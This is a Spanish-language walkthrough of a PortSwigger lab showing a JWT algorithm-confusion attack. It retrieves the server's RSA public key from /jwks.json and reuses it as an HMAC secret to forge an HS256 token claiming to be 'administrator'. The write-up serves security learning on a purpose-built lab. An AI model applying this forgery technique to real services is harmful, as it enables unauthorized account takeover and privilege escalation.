← Writeups

JWT authentication bypass via algorithm confusion

This lab uses a JWT-based mechanism for handling sessions. It uses a robust RSA key pair to sign and verify tokens. However, due to implementation flaws, this mechanism is vulnerable to algorithm confusion attacks.

To solve the lab, first obtain the server's public key. This is exposed via a standard endpoint. Use this key to sign a modified session token that gives you access to the admin panel at /admin, then delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter


https://siunam321.github.io/ctf/portswigger-labs/JWT/jwt-7/

Al realizar un POST a /login obtengo un jwt que al decodificarlo se puede apreciar que utiliza un algoritmo RS256 correspondiente a encriptacion por llave publica o encriptacion asimetrica.

{
  "kid": "c8f3051e-496e-47eb-8ccc-c40f5e2cf128",
  "alg": "RS256"
}
{
  "iss": "portswigger",
  "exp": 1757274914,
  "sub": "wiener"
}

El ejercicio describe que utiliza un par de claves RSA para firmar y verificar tokens, pero por fallas en la implementacion el mecanismo es vulnerable a ataques de confusion de algoritmos. Para explotar esta vulnerabilidad se necesita de la clave publica del servidor, luego converitr la public key a un formato, seguidamente modificar el JWT y finalmente firmar el JWT utilizando la public key.

la ruta URL + /jwks.json expone la public key, esto debido a que aveces los servidores exponen las public keys como objetos JWK (Json Web Keys) mediante un endpoint estandar /jwks.json o /.well-known/jwks.json Al realizar un curl y pasarlo por jq se aprecia mejor el resultado: Esta almacenado en un array de JWKs llamado "keys" conocido tambien como JWK Set.

{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "c8f3051e-496e-47eb-8ccc-c40f5e2cf128",
      "alg": "RS256",
      "n": "v4y5TvnV8mFTWXCg8B5Hv0C5RHedyApipVRGeMCAQtWUaQWvw178JXxzzLmXTyeDv7zC6DILlvrdFSg2nS3VwOpjsVMUgjcdt-lzSt9SDiC51TXIggK06DEknBdlL3fy-xmLUrmfzDcoHLOvwmcmP_WNXDq5mLobA_W5MnSEnlt6L7QovNdu7ypHYYeIp6frwMugOp2yhwXjQ_JDRZUxSkbG6cYT956F09Zv6VJbnYifzC73Fzj3XkuMllxGPkWNdsMyn11tkDJEjqOG_84Pa7KELVB9uW3W16ajZAuISogMpO4o7LDGRcQmzvrMKkYsHHHFoRuDEOjfafd1SFJmHQ"
    }
  ]
}

Despues de obtener la clave publica nos dirigimos a JWT Editor para crear una Clave asimetrica RSA, le damos a Generate y pegamos el bloque {} , Despues le das a PEM para obtener el resutlado en el siguiente formato PEM:

-----BEGIN PUBLIC KEY-----  
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv4y5TvnV8mFTWXCg8B5H  
v0C5RHedyApipVRGeMCAQtWUaQWvw178JXxzzLmXTyeDv7zC6DILlvrdFSg2nS3V  
wOpjsVMUgjcdt+lzSt9SDiC51TXIggK06DEknBdlL3fy+xmLUrmfzDcoHLOvwmcm  
P/WNXDq5mLobA/W5MnSEnlt6L7QovNdu7ypHYYeIp6frwMugOp2yhwXjQ/JDRZUx  
SkbG6cYT956F09Zv6VJbnYifzC73Fzj3XkuMllxGPkWNdsMyn11tkDJEjqOG/84P  
a7KELVB9uW3W16ajZAuISogMpO4o7LDGRcQmzvrMKkYsHHHFoRuDEOjfafd1SFJm  
HQIDAQAB  
-----END PUBLIC KEY-----

Resultado de codificarlo en base64 con Decoder, este resultado lo utilizaremos en el campo "k" al momento de crear un Symetric key en el tab de la extension "JWT Editor", Primero le das a New Symmetric Key, luego generate y colocas el valor codificado en base64

LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2NHk1VHZuVjhtRlRXWENnOEI1SAp2MEM1UkhlZHlBcGlwVlJHZU1DQVF0V1VhUVd2dzE3OEpYeHp6TG1YVHllRHY3ekM2RElMbHZyZEZTZzJuUzNWCndPcGpzVk1VZ2pjZHQrbHpTdDlTRGlDNTFUWElnZ0swNkRFa25CZGxMM2Z5K3htTFVybWZ6RGNvSExPdndtY20KUC9XTlhEcTVtTG9iQS9XNU1uU0VubHQ2TDdRb3ZOZHU3eXBIWVllSXA2ZnJ3TXVnT3AyeWh3WGpRL0pEUlpVeApTa2JHNmNZVDk1NkYwOVp2NlZKYm5ZaWZ6QzczRnpqM1hrdU1sbHhHUGtXTmRzTXluMTF0a0RKRWpxT0cvODRQCmE3S0VMVkI5dVczVzE2YWpaQXVJU29nTXBPNG83TERHUmNRbXp2ck1La1lzSEhIRm9SdURFT2pmYWZkMVNGSm0KSFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==

Resultaria asi la llave privada:

{
    "kty": "oct",
    "kid": "ee35583b-ac3f-4d6c-8daa-a64b2df4cf4d",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2NHk1VHZuVjhtRlRXWENnOEI1SAp2MEM1UkhlZHlBcGlwVlJHZU1DQVF0V1VhUVd2dzE3OEpYeHp6TG1YVHllRHY3ekM2RElMbHZyZEZTZzJuUzNWCndPcGpzVk1VZ2pjZHQrbHpTdDlTRGlDNTFUWElnZ0swNkRFa25CZGxMM2Z5K3htTFVybWZ6RGNvSExPdndtY20KUC9XTlhEcTVtTG9iQS9XNU1uU0VubHQ2TDdRb3ZOZHU3eXBIWVllSXA2ZnJ3TXVnT3AyeWh3WGpRL0pEUlpVeApTa2JHNmNZVDk1NkYwOVp2NlZKYm5ZaWZ6QzczRnpqM1hrdU1sbHhHUGtXTmRzTXluMTF0a0RKRWpxT0cvODRQCmE3S0VMVkI5dVczVzE2YWpaQXVJU29nTXBPNG83TERHUmNRbXp2ck1La1lzSEhIRm9SdURFT2pmYWZkMVNGSm0KSFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

Luego en el repeater con la request modificamos el Header del JWT con un algoritmo distinto

{  
    "kid": "c8f3051e-496e-47eb-8ccc-c40f5e2cf128",  
    "alg": "HS256"  
}

Y el claim sub a administrator Despues de realizar lo anterior, se procede a firmar con la llave simetrica el algoritmo debe ser HS256 y se especifica que no actualice el header para que no elimine los cambios realizados previamnete.

Recapitulacion:

  1. Obtenemos la public key
  2. Creamos una llave publica con el valor obtenido de la public key
  3. Generamos el valor en formato PEM
  4. Codificamos el resultado en formato PEM a base64
  5. Creamos una clave simetrica o de private key con el campo "k" igual al valos codificado
  6. Modificamos el algoritmo para generar la confusion y el claim a administrator
  7. Firmamos con la clave privada